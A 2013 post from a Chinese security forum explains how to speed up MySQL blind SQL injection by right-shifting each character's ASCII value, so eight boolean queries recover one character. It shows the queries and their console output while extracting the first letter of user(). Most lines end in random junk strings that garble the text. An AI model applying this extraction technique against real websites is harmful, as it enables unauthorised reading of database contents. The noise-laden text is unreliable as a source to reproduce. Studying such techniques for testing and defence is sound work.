找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1891|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位3 ~# e% P0 o" V" G
, y; C* q7 ~1 h  @
% a3 w+ M3 g' z
9 n" b2 u$ b% H2 k1 H
下面将以查询mysql数据库当中user()的第一位为例:
4 F' B8 ]0 B0 [% [: r9 c- T$ U/ |; p6 s. |6 _8 W( w
* s4 o. ]8 w# W! Z% R7 U
* z% o1 a  M/ ~! \" e
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)3 w/ D# t; p. M- J# w$ Z# {
! n$ b& l& B' \' X6 c9 @/ [# S1 {
" g6 y5 A/ n, n4 I2 |

1 N8 _$ d( g( C9 f! |" I! ~首先执行如下sql语句:
' ^5 N. N9 m7 C- p0 |6 R+ {+ ^7 y7 p8 j& ~0 Q- ^6 n6 m9 ~
# P4 N; T* \; L# x# `

* I$ n! d: C" P, [- j" x9 lmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
. z0 t" F! E8 k% o
. `" H9 P! J2 L* G1 Y7 z* J 9 r# w, U8 F) Z" @

# q6 H8 t* }- x' L: t$ Z我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
8 \; Q) j- k8 {1 [9 e4 t) y
8 h1 R8 B) M6 ~ * Q7 Q  s6 ~5 u6 b/ t. P2 N* c

. n; L' A5 {' g; K第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1: C' u0 b! ?. y' S1 x% C
) s' Q2 ^% V5 ~2 l
9 P* Q7 Q) H1 t0 c7 p" h

! s7 L1 z+ K# x! A  B5 A( I如果运算结果为1,说明第一位为0,不为1
7 `% y) T, N! r: ^4 o6 s! r
& g# T. L" {. ?, T1 n/ D! p! ? & v( x* ]4 J( O: |
6 N! }+ k# b, r9 p
+————————————–+9 T) [. w/ p; N+ n5 A# C* z& @

0 i  U! P$ Z4 D# {| (ascii((substr(user(),1,1))) >> 7)=0 |
6 o4 Y' N) k/ p5 }* A0 d
1 Y, Z4 g# ~  \4 T6 {1 G! f+————————————–+6 g; c* O4 [8 U  u' j

1 O6 k! E. D* }, m| 1 |  h1 D8 O$ d+ n8 E+ Y

/ `! ?& e% f, Q4 X+ K+————————————–+
& w  c! x# ^3 `2 l% y, L; a. M; I0 c) g6 X
1 row in set (0.00 sec)) u$ j5 s1 g6 M$ H2 j7 e- p) e8 C
3 B( p/ B0 F' g( k" d$ S: |
这样我们就确定这个8bit的ascii的第一位为05 `/ i. W- i" a; r5 a3 u

3 N% l! B/ r7 |  T) B
$ ]' Y( d; a' }3 e& p; }( c: F3 v4 W3 d+ }" @5 T& h0 m
第二次我们来做6次右偏移来确定前两位
' g( b9 R6 d' r/ }$ l& P1 m* H/ o* u8 F
- u) T0 X0 g) t; j; p* S$ H

+ ]3 W, a2 r1 m; j* M+ g, J前两位可能是01或00,即依然可以与0做比较,
- o% Q1 C) n: y# |5 h/ T' {) Y$ s/ [. `7 _
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;% D& @; v9 B+ }0 b4 s) e2 [  X( Y
9 m. k$ [3 E7 U% A2 D$ `7 _
+————————————–+
( r+ g$ B# M: T: ?* ~& W# k( `8 d' X' D
| (ascii((substr(user(),1,1))) >> 6)=0 |" }+ f( _# s9 K- g7 U  T

, G9 }$ S& \9 F6 R+————————————–+: Z/ @! L' ~, J0 z) o* b* |
2 a, u& w: e1 Z# x( K" [
| 0 |
1 u* ^2 h2 `; n" Q/ G2 D' U; D# F6 `  U' ]3 [
+————————————–+
; a/ }# @9 V+ V- I7 [( A* ^) K  E
7 n$ R9 ?/ b2 N0 g6 _& [1 row in set (0.00 sec)) ?: W& s" @# ?2 _* B$ r
% {& @5 l/ r% N, H7 ~8 t
2 x% o+ [* N: Q* ^& x* u# g  ~+ N$ t
( `# I: n4 w  K+ C  N* ?. a
结果为0,即第二位为1
+ s+ Z9 X& M7 c
$ a9 n9 E* c4 D7 j' e; P- h
1 ~* t% q& h3 K( W2 {; t  Y3 X5 g9 e0 S5 W* ]$ x7 N
开始猜测前三位为010或011
3 ~+ r$ J- m7 c4 T) H4 j2 n) t) A( C3 o# L' Y
% j( ^3 E2 o7 D% l  Z

, h3 P: `6 P' u" U/ z- o9 u让我们看看010和011的ascii码是多少
0 C, I2 S" O* ]9 U1 u1 \. T0 F* Y2 A+ a$ [/ J, {. b$ ]* U

! o0 `) ]$ ~. ^0 k! N; D, W4 K( }6 ?6 I3 i6 S, a/ |% z) M# F3 R" J7 h
分别查询select b’011′ select b’010′
  k  w' w: m( n2 _
' _9 d* U$ R, O3 k/ s8 s. I0 Q
+ d; I4 c$ L1 C" M2 _1 R; ?5 `1 y7 @& f
获得结果 010 = 2 011 = 3
. M4 b- i! b) l8 E  R$ V( C0 `2 V. W1 ~0 o' y0 m$ x
. n) T  c/ }$ v3 I

4 [/ Y8 A6 g  L" H执行如下sql:$ h) [" r5 h  R
; ^% w: s2 Z- {1 U1 Q6 _
, X2 A/ j$ r9 c& W

6 n8 J( J$ ?) {# L0 ymysql> select (ascii((substr(user(),1,1))) >> 5)=2;
, ^* B2 B2 v9 ?9 S* O& N1 [) ^4 ~$ s! l) K* R
+————————————–+
  B/ k& U! W4 B3 f# X# H  n0 t  B) b3 t6 d( T; V% c
| (ascii((substr(user(),1,1))) >> 5)=2 |7 S- ?( I4 S: l" }
! a. b0 T. ]% f: V1 B
+————————————–+* @1 o9 o8 }* u7 r* \

; F% |* {7 k, h/ G) w. Z8 c4 b( b| 0 |
* I1 B) m# N! n8 o# m8 O
" W' U+ i6 K3 s0 m) A2 \+————————————–+! j6 p/ k5 j+ m/ g

$ @3 u; Q9 q* A即前三位不为010,而是0117 \* M  Y/ f( G) y- [# M5 G

4 N/ |' V5 u- l( P4 z" V3 a2 K- I
0 _* \. F, ?( L2 N( b# a; P
4 e7 o6 d) H! D* [4 Q直到获得最后一位
* \; q1 ^6 O$ }) y2 a/ c9 r5 B. b4 Z0 [6 u- j
9 g2 \' H/ r. Q+ u3 d

* V3 U; y% {0 [; O! M最终结果为:01110010& O7 m9 Z) V" |% z# e

4 M# p9 g/ ?3 ^( M% L5 s 2 p9 z, t; N* |4 r
/ B! L6 ?0 w$ G4 z% ^
转换一下:+ V/ i# \) Q1 `7 H9 `

2 l5 N8 s7 z0 H2 R( @9 U6 g" w
  L3 S# Q& I: I# A8 {/ C4 S7 d' P, i7 K6 Q' k. f) o0 p
select b’01110010′
6 C7 a# Q) P" _5 \% R
3 C4 j7 o; L' w. |3 G$ X( x  B 3 \. X7 F  G1 \
# [0 g9 k, q4 m/ ?  ^) Q: E7 v
查询结果; q% b( l8 V" F' l2 ]9 y/ F

9 Z( w& v/ j* I* G' S% v
& ]2 E0 t" u" ^0 d7 w5 l
7 O4 h7 \1 m( c6 s; z8 c+————-+1 K) d% G* U8 S: V0 q- s' b3 J* h
* a  g! U+ k. f' u6 t- a+ Y, O
| b’01110010′ |
0 \8 P( q5 t$ w$ U) }5 L/ |5 ^- {7 a2 H# ], ]
+————-+6 L! y5 |2 v: ?: M8 S( j7 u" P
' I! x$ v, O1 _/ v
| r |$ P/ `: x2 |8 ]) x+ x
5 v+ n- ?- l+ k' R; X  v# \+ d+ g6 e
+————-+
( G# ]1 G% @( V( R, a( o. F: F5 l/ v
1 row in set (0.00 sec)
' `& m% m/ b" l) J) L, Q: J5 H6 N" G1 V" \# s, E7 q& J/ |: k

- w6 D3 C/ }, D. q: A3 K  A7 f! b/ F  G) X' M1 v6 k& a
这样我们就获得了user()的第一位.其它位依此类推3 [% ?' i5 r4 i! E/ o. V
& G# o/ v* K/ P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表